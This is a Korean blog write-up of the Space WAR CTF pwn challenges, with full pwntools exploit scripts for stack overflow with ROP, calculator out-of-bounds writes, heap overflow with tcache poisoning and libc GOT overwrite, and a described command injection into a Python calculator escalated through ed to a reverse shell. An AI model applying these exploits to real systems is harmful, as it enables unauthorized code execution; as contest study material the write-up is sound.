Sechack

Space WAR (Pwn) Write up + 후기 본문

CTF

Space WAR (Pwn) Write up + 후기

Sechack 2024. 1. 28. 19:23
반응형

 

음.. hspace톡방에 이런게 올라왔다. 포너블 안한지 꽤 오래되긴 했지만 1등이 스벅 15만원이고 한문제라도 풀면 만원이 거저 들어오기 때문에 안할 이유가 없었다. 오랫동안 포너블 안해서 죽은 감도 살리면서 돈도 얻자는 마인드로 했다.

 

 

 

솔직히 풀타임으로 하면 1등 그냥 할줄 알았는데 사진 보면 개망했다는걸 알 수 있다. 처음부터 순조롭게 밀다가 Unsafe Calculator라는 개씹트릭 문제를 만나고 저 문제에 6시간 이상 박으면서 다른 문제를 볼 시간이 삭제되었다. Unsafe Calcuator를 결국 풀긴 했는데...

 

 

사진에서 보이다시피 끝나기 10분전에 깨닫고 푼거다. 끝나고 msh1307  이친구 write up을 보니까 VMUprotect도 쉬운 vm문제였고 qwerty님한테 물어보니까 Pormat String Bug도 python이 섞여들어가긴 했지만 본질은 그냥 간단한 fsb였다. chachacha도 top chunk보다 큰거 할당하면 free chunk가 생기는거 이용해서 aaw만들면 되는 힙문제였고.. 얘는 실제로 대회 끝나고 풀어봤다. Unsafe Calculator를 안보고 다른 문제로 탈주했으면 2문제정도는 더 풀 수 있었을텐데 조금 아쉬웠다.

 

 

HSpace Satellite(1, 2)

 

두개의 바이너리는 비슷하다. 일단 1에서는

 

 

대충 이런 느낌의 누가봐도 popen을 악용할 수 있어보이는 함수랑

 

 

bof를 3번 할 수 있는 함수가 주어진다. 2에서는 popen은 삭제되고 bof만 남아있다. popen으로 푸는게 easy난이도고 bof로 푸는게 medium난이도였는데 나는 bof보자마자 popen제껴두고 bof만 조져서 1, 2전부 같은 익스로 날먹할 수 있었다. 버퍼에 입력을 받고 strlen으로 길이를 구해서 그만큼 버퍼를 출력해준다. canary의 null byte를 하나 덮으면 canary leak도 되고 입력 길이를 적절히 조정하면 스택에 남아있는 쓰레기값을 leak할 수 있다. 디버깅하기 귀찮아서 대충 손으로 8바이트씩 인풋 길이 조지면서 어떤주소 릭되나 손퍼징했는데 _rtld_global이 leak되길래 그거 가지고 libc구해서 rop해줬다.

 

from pwn import *

off = 0

for i in range(0x272):
    r = remote("3.34.190.217", 8001)

    r.sendline(b"\xee 1")
    sleep(0.1)
    r.sendline(b"\x04 1")
    sleep(0.1)
    r.send(b"a"*0x200)
    r.recvuntil(b"a"*0x200)

    ld_leak = u64(r.recv(6).ljust(8, b"\x00"))
    libc_base = ld_leak - 0x272040 + off
    system = libc_base + 0x50d70
    dup2 = libc_base + 0x115010
    binsh = libc_base + 0x1d8678
    pop_rdi = libc_base + 0x2a3e5
    pop_rsi = libc_base + 0x2be51
    log.info(hex(libc_base))

    r.send(b"a"*0x209)
    r.recvuntil(b"a"*0x209)

    canary = u64(r.recv(7).rjust(8, b"\x00"))
    log.info(hex(canary))
    try:
        r.send(b"a"*0x208+p64(canary)+p64(0)+p64(pop_rdi)+p64(4)+p64(pop_rsi)+p64(0)+p64(dup2)+p64(pop_rdi)+p64(binsh)+p64(system))
        sleep(0.1)
        r.sendline("id >& 4")
        r.recvuntil("uid")
        r.interactive()
        break
    except:
        r.close()
    if not i&1:
        off += 0x1000
    off *= -1
    log.info(hex(off))

 

tcp/ip로 구현된 서버를 exploit하는거라 그냥 /bin/sh를 하면 입출력을 못보낸다. 따라서 rop chain에 dup2를 추가해줘서 표준 입력을 디스크립터 4로 돌려줬다. 이러면 셸따고 입력 가능하고 셸에서 id >& 4이런식으로 명령어를 디스크립터로 리다이렉션 시키면 실행 결과를 우리가 볼 수 있게 된다. 그리고 ld base랑 libc base간의 offset도 당연히 로컬과 다르고 이거는 +-0x1000 brute force로 쉽게 찾을 수 있다.

 

 

 

포트만 바꾸면 두개 다 잘 따이는걸 볼 수 있다.

 

 

Safe Calculator

 

C로 계산기를 구현한 문제인데

 

__int64 __fastcall sub_1834(unsigned int *a1)
{
  unsigned int v2; // eax
  int v3; // eax
  int v4; // eax
  int v5; // eax
  int v6; // [rsp+10h] [rbp-20h]
  unsigned int i; // [rsp+14h] [rbp-1Ch]
  signed int v8; // [rsp+18h] [rbp-18h]
  int v9; // [rsp+1Ch] [rbp-14h]
  char *src; // [rsp+20h] [rbp-10h]
  void *s; // [rsp+28h] [rbp-8h]

  v6 = 0;
  src = s1;
  if ( (unsigned __int8)sub_1488() )
  {
LABEL_2:
    printf("you only can type %s%s\n", a0123456789abcd, asc_46A0);
    return 0LL;
  }
  for ( i = 0; ; ++i )
  {
    if ( (unsigned __int8)sub_1580(i) == 1 )
      continue;
    v8 = (unsigned int)&s1[i] - (_DWORD)src;
    s = malloc(v8);
    if ( !s )
    {
      puts("NULL pointer is allocated, please contact admin.");
      exit(-1);
    }
    memset(s, 0, v8);
    memcpy(s, src, v8);
    v9 = strtol((const char *)s, 0LL, 16);
    free(s);
    src = &s1[i + 1];
    if ( v9 <= 0 )
    {
      if ( s1[i] == 48 )
        goto LABEL_2;
    }
    else
    {
      v2 = (*a1)++;
      a1[v2 + 1] = v9;
      printf("%d\n", *a1);
    }
    if ( *((_BYTE *)a1 + v6 + 1028) )
    {
      v3 = s1[i];
      if ( v3 > 47 )
      {
        if ( v3 == 124 )
        {
LABEL_21:
          sub_15ED(a1, (unsigned int)*((char *)a1 + v6 + 1028));
          *((_BYTE *)a1 + v6 + 1028) = s1[i];
          goto LABEL_24;
        }
LABEL_22:
        v4 = v6--;
        sub_15ED(a1, (unsigned int)*((char *)a1 + v4 + 1028));
        goto LABEL_24;
      }
      if ( v3 < 37 )
        goto LABEL_22;
      switch ( s1[i] )
      {
        case '%':
        case '*':
        case '/':
          if ( *((_BYTE *)a1 + v6 + 1028) == 43
            || *((_BYTE *)a1 + v6 + 1028) == 45
            || *((_BYTE *)a1 + v6 + 1028) == 38
            || *((_BYTE *)a1 + v6 + 1028) == 124 )
          {
            goto LABEL_21;
          }
          *((_BYTE *)a1 + ++v6 + 1028) = s1[i];
          break;
        case '&':
        case '+':
        case '-':
          goto LABEL_21;
        default:
          goto LABEL_22;
      }
    }
    else
    {
      *((_BYTE *)a1 + v6 + 1028) = s1[i];
    }
LABEL_24:
    if ( !s1[i] )
      break;
    if ( (unsigned __int8)sub_1580(i + 1) != 1 )
    {
      printf("%s is invalid expression.\n", s1);
      return 0LL;
    }
  }
  while ( v6 >= 0 && *((_BYTE *)a1 + v6 + 1028) )
  {
    v5 = v6--;
    sub_15ED(a1, (unsigned int)*((char *)a1 + v5 + 1028));
  }
  return 1LL;
}

 

대충 로직 보니까 pwnable.tw calc문제랑 비슷해보이길래 분석 안하고 손으로 몇개 때려봤는데 calc문제랑 똑같이 취약점 터져서 분석 안하고 익스했다. 스택에 있는 값을 읽고, 더하고, 빼고, 곱하고, 나누고, 모듈러때리고 할 수 있으니까 쉽게 풀 수 있다.

 

from pwn import *

#r = process("./prob")
r = remote("3.34.190.217", 51255)

def leak(offset):
    r.sendlineafter("expr> ", "+"+hex(offset)[2:])
    r.recvuntil("=")
    val1 = r.recvline().replace(b"\n", b"")
    r.sendlineafter("expr> ", "+"+hex(offset+1)[2:])
    r.recvuntil("=")
    val2 = r.recvline().replace(b"\n", b"")

    return int(val2+val1, 16)

def mkzero(offset):
    r.sendlineafter("expr> ", "+"+hex(offset)[2:])
    r.recvuntil("=")
    val = int(r.recvline().replace(b"\n", b""), 16)
    if val%2:
        r.sendlineafter("expr> ", "+"+hex(offset)[2:]+"%2+1")
        if val < 0x80000000:
            r.sendlineafter("expr> ", "+"+hex(offset)[2:]+"-2")
    else:
        r.sendlineafter("expr> ", "+"+hex(offset)[2:]+"%2")

def aaw(off, val):
    mkzero(off)
    v1 = val & 0xffffffff
    v2 = val >> 32
    r.sendlineafter("expr> ", "+"+hex(off)[2:]+"+"+hex(v1//2)[2:])
    r.sendlineafter("expr> ", "+"+hex(off)[2:]+"+"+hex(v1//2)[2:])
    if v1%2:
        r.sendlineafter("expr> ", "+"+hex(off)[2:]+"+1")
    mkzero(off+1)
    r.sendlineafter("expr> ", "+"+hex(off+1)[2:]+"+"+hex(v2//2)[2:])
    r.sendlineafter("expr> ", "+"+hex(off+1)[2:]+"+"+hex(v2//2)[2:])
    if v2%2:
        r.sendlineafter("expr> ", "+"+hex(off+1)[2:]+"+1")

libc_leak = leak(326)
libc_base = libc_leak - 0x24083
system = libc_base + 0x52290
binsh = libc_base + 0x1b45bd
pop_rdi = libc_base + 0x23b6a
log.info(hex(libc_base))
log.info(hex(libc_leak))

aaw(326, pop_rdi)
aaw(328, binsh)
aaw(330, pop_rdi+1)
aaw(332, system)

r.sendlineafter("expr> ", "exit")

r.interactive()

 

exploit코드인데 먼저 원하는 주소의 값을 0으로 만들어준 후 원하는 4바이트 값을 2로 나눠서 두번 더해주는 식으로 aaw를 만들었다. 왜 2로 나눠서 더했냐면 0xf0000000과 같이 음수를 더할때 이상하게 제대로 처리가 안되길래 2로 나눠서 두번 더해줬다. 아무튼 이렇게 스택에 rop chain만들면 쉽게 풀 수 있다.

 

 

 

Unsafe Calculator

 

나를 개빡치게 했던 문제다.

 

import os, traceback, re, binascii

VERSION = 'ver.0.1'

logo_1 = r'''
         ____  ____  ____  ____  ____  ____  ____  ____  ____  ____ 
        ||C ||||a ||||l ||||c ||||u ||||l ||||a ||||t ||||o ||||r ||
        ||__||||__||||__||||__||||__||||__||||__||||__||||__||||__||
        |/__\||/__\||/__\||/__\||/__\||/__\||/__\||/__\||/__\||/__\|
'''
logo_2 = r'''
                        +---------------------------+
                        | ///////////////////////// |
                        +---------------------------+
                        | [              1,264.45 ] |
                        +---------------------------+
                        |                           |
                        |                           |
                        | [sto] [rcl] [<--] [AC/ON] |
                        |                           |
                        | [ ( ] [ ) ] [sqr] [  /  ] |
                        |                           |
                        | [ 7 ] [ 8 ] [ 9 ] [  *  ] |
                        |                           |
                        | [ 4 ] [ 5 ] [ 6 ] [  -  ] |
                        |                           |
                        | [ 1 ] [ 2 ] [ 3 ] [  +  ] |
                        |                           |
                        | [ 0 ] [ . ] [+/-] [  =  ] |
                        |                           |
                        +---------------------------+
'''
expr = ''
syms = ['+', '-', '*', '/', '|', '&', '%']
word = '0123456789abcdef'
whitelist = word+''.join(syms)

def print_logo():    
    print(logo_1, end='')
    print(logo_2, end='')
    print(logo_1, end='')
    print('    '*16 + VERSION+'\n\n')
    print('''example)
    1+2
    a+b+c
    a*15
    b/3
    ''')

def filter():
    for c in expr:
        if c not in whitelist:
            return True
    return False

def operation():
    global expr

    if filter():
        print("you only can type %s"%whitelist)
        return

    nums = re.split('|'.join(map(re.escape, syms)), expr)
    while '' in nums:
        nums.remove('')
    nums = list(map(lambda x:int(x, 16), nums))
    
    opers = re.findall('[\+\-\*\/\|\&\%]', expr)
    
    if len(nums)-1 != len(opers):
        print('%s is invalid expression!'%expr)
        return
    
    expr = expr.replace('%', '%%')

    script = 'val = nums[0]\n'
    for i in range(len(opers)):
        script+=f'val {opers[i]}= {nums[i+1]}\n'
    script += 'print(f\'{expr}=%x\'%val)'
    exec(script)

def read_expr():
    global expr
    expr = input('expr> ')[:1000]
    
def raise_error(e):
    if type(e) == KeyboardInterrupt:
        print("\nif you want to quit this calculator, type 'exit'\n")
    else:
        if type(e) == EOFError:
            e = 'EOFError'
            error_msg = 'Please do not press CTRL+D'
        else:
            error_msg = f'{expr} is invalid expression!'
        tmp_err_logs = '.'+binascii.hexlify(os.urandom(8)).decode()
        cmd = f'''
            echo "*** {str(e)} ***" > {tmp_err_logs}
            echo {error_msg} >> {tmp_err_logs}
            cat {tmp_err_logs}
            rm {tmp_err_logs}
        '''
        os.system(cmd)
    return

def main():
    print_logo()

    while True:
        try:
            read_expr()
            if expr == 'exit':
                break
            operation()
        except Exception as e:
            raise_error(e)
        except KeyboardInterrupt as e:
            raise_error(e)

if __name__ == '__main__':
    main()

 

일단 0/0을 하면 0으로 나누기 때문에 python에서 exception을 발생시킬 수 있고 expr을 넣은 상태로 os.system을 실행시킬 수 있는데 0/0&a 이런식으로 주면 &가 커맨드로 들어가기 때문에 a라는 명령어를 실행시킬 수 있다. 원하는 명령어를 실행할수는 있지만 whitelist filter되는 문자들이 극도로 한정적이라 풀기 어렵다. 내가 아는 모든 command injection트릭들을 시도해봤으나 성과는 없었다.

 

 

그러던 중에 힌트가 나왔고

 

FROM ubuntu:22.04
MAINTAINER ipwn <ipwn.with@gmail.com>

RUN apt update -y
RUN apt install socat python3 ed -y
RUN useradd -mU prob

COPY prob.py /home/prob/prob.py
COPY flag.txt /home/prob/flag.txt

RUN chmod 750 /home/prob /home/prob/prob.py
RUN chmod 440 /home/prob/flag.txt

RUN chown -R root:prob /home/prob

USER prob
WORKDIR /home/prob

CMD socat -T 30 tcp-l:51251,reuseaddr,fork EXEC:"python3 prob.py 2>&1"

 

힌트 받고 Dockerfile을 보니까 ed라는 패키지를 설치하고 있는걸 볼 수 있다. 그게 뭔데 씹덕아

그래서 ed사용법을 구글링해보니까 r flag,txt를 치고 1을 치면 첫번째 줄이 읽히는걸 볼 수 있었다. 로컬에서 플래그를 쉽게 얻고 싱글벙글하게 리모트를 날렸는데 리모트의 홈디렉터리에는 파일 쓰기권한이 없어서 >>를 이용해서 파일로 리다이렉트된 내용을 보지 못한다. 즉 ed를 실행해도 결과를 못본다는 말이다. 그래서 나는 저 리다이렉션을 표준 출력으로 바꾸려고 엄청난 삽질을 했고 당연하겠지만 성과가 없었다. 0/0&ed|ed 이런식으로 파이프를 쓰면 ed에디터에 명령어를 입력할순 있었지만 그 결과를 볼수가 없었다. 그렇게 삽질 계속 하다가 9시 40분쯤에 자포자기하는 심정으로 있었는데 갑자기 vim에서 !를 이용해서 셸 명령어를 실행할 수 있었던게 떠올랐고 설마설마 했는데 얘도 똑같았다. 결국 에디터에서 리버스쉘 열어서 플래그 볼 수 있었다.

 

 

요렇게 해주면

 

 

요렇게 플래그를 볼 수 있다.

 

 

chachacha

 

대회 끝나고 풀어본 문제다.

 

 

전형적인 힙익스 문제인 노트챌린지이다. 할당, 해제, 출력, 수정의 기능이 있는데

 

 

해제는 안된다고 한다.

 

 

그리고 edit할때 size가 0x1000보다 작은지만 검증하고 수정할 청크의 크기보다 큰지는 검증 안하기 때문에 heap overflow가 발생한다. 결론은 힙오버만 가지고 익스해보라고 하는 문제인데.. elf binary에서 heap overflow를 유의미하게 만들려면 함수포인터가 heap에 있는게 아닌이상 무조건 tcache bin이던 fastbin이던 unsorted bin이던 chunk를 bin에 넣고 fd나 size같은걸 덮어야 의미가 있다. 그러면 bin에 어떻게든 chunk를 넣을 방법을 찾아야 하는데 top chunk의 size를 덮고 top chunk를 작게 만든 후 top chunk보다 큰 chunk를 할당하는 요청을 보내면 heap이 확장되면서 새로운 top chunk가 생기게 되고 이 과정에서 tcache bin에 free chunk가 생기게 된다. 아마 기존의 top chunk가 해제되는게 아닌가 싶은데 자세한건 glibc 2.35에서의 힙 확장 로직을 분석해봐야 알 수 있을것 같다. top chunk의 size를 수정할때는 page단위에 맞게 수정해줘야 assert문에 안걸리고 이 page의 크기에 따라서 free chunk의 크기가 결정된다. 그리고 page의 크기는 이전에 할당했던 chunk의 size에 영향을 받으므로 잘 조작해서 3번정도 free를 시키면 unsorted bin에 하나가 들어가고 같은 idx의 tcache bin에 2개의 chunk가 연결되어있는 이상적인 형태를 만들 수 있다. 2개를 넣어야 하는 이유는 tcache count때문이다. count를 2로 만들어줘야 fd를 덮고 2번 할당해서 aaw를 할 수 있기 때문이다. 아무튼 저 형태 만들었으면 원하는 값 들어있는데까지 overflow이용해서 데이터 꽉 채워서 libc랑 heap(safe linking때메 leak필요함)을 leak할 수 있고 aaw를 할 수 있다. aaw까지 만든 이후에는 fsop해도 되지만 libc got쪽에 system주소를 spray해서 풀었다. free hook과 malloc hook이 사라진 최신 버전에서 aaw가 있을때 자주 쓰는 꼼수인데 보통 libc got쪽에 system주소로 싹다 도배를 해놓으면 그중에 하나는 높은 확률로 인자를 조작할 수 있고 그러면 셸을 딸 수 있게 된다. 만약 8byte aaw한번만 할 수 있는 상황이라 해도 힙에다가 fake _IO_FILE struct를 세팅해두고 _IO_list_all을 해당 힙주로도 덮어서 fsop하면 된다.

 

from pwn import *

#r = process(["./prob"], env={"LD_PRELOAD":"./libc"})
r = remote("3.34.190.217", 51253)

def add(size, data):
    r.sendlineafter("> ", "1")
    r.sendlineafter("size: ", str(size))
    r.sendafter("content: ", data)

def edit(idx, size, data):
    r.sendlineafter("> ", "4")
    r.sendlineafter("idx: ", str(idx))
    r.sendlineafter("size: ", str(size))
    r.sendafter("content: ", data)

def leak(idx):
    r.sendlineafter("> ", "3")
    r.sendlineafter("idx: ", str(idx))

def decrypt(cipher):
    key = 0
    plain = 0

    for i in range(1, 6):
        bits = 64-12*i
        if bits < 0:
            bits = 0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12

    return [key, plain, cipher]

add(0x10, b"a"*0xf)
edit(0, 0x28, b"a"*0xf+p64(0)+p64(0x141)+p64(0))
add(0x200, b"a"*0x1ff)
edit(1, 0x218, b"a"*0x1ff+p64(0)+p64(0xdf1)+p64(0))
add(0xeb0, b"a"*0xeaf)
add(0x200, b"b"*0x1ff)
edit(3, 0x210, b"c"*0x20f)
leak(3)

libc_leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = libc_leak - 0x219ce0
system = libc_base + 0x50d70
_IO_wfile_jumps = libc_base + 0x2160c0
_IO_list_all = libc_base + 0x21a680
libcgot = libc_base + 0x219090
log.info(hex(libc_base))

edit(3, 0x210, b"c"*0x1ff+p64(0)+p64(0xbc1))
edit(2, 0xec8, b"a"*0xeaf+p64(0)+p64(0x141)+p64(0))
add(0xc00, b"a"*0xbff)

edit(2, 0xec0, b"a"*0xebf)
leak(2)
r.recvuntil(b"a"*0xebf)

key, heap_leak, encheap = decrypt(u64(r.recvn(6).ljust(8, b"\x00")))
log.info(hex(heap_leak))
log.info(hex(key))
key += 0x32
heap_leak = encheap ^ key
log.info(hex(heap_leak))
edit(2, 0xec8, b"a"*0xeaf+p64(0)+p64(0x121)+p64((libcgot-0x80) ^ key))

add(0x110, b"/bin/sh\x00"+b"a"*0x107)
add(0x110, b"a"*0x7+p64(system)*0x21)

r.sendlineafter("> ", "4")
r.sendlineafter("idx: ", "5")
r.sendlineafter("size: ", "10")
r.recv()

r.interactive()

 

반응형

'CTF' 카테고리의 다른 글

2023 X-mas CTF 후기  (0) 2023.12.28
Whitehat Contest 2023 본선 All Web Write up + 후기  (0) 2023.10.29
WACON 2023 본선 All Web Write up + 후기  (4) 2023.09.29
YISF 2023 예선 write up  (1) 2023.08.17
ImaginaryCTF 2023 - window-of-opportunity  (2) 2023.07.25
Comments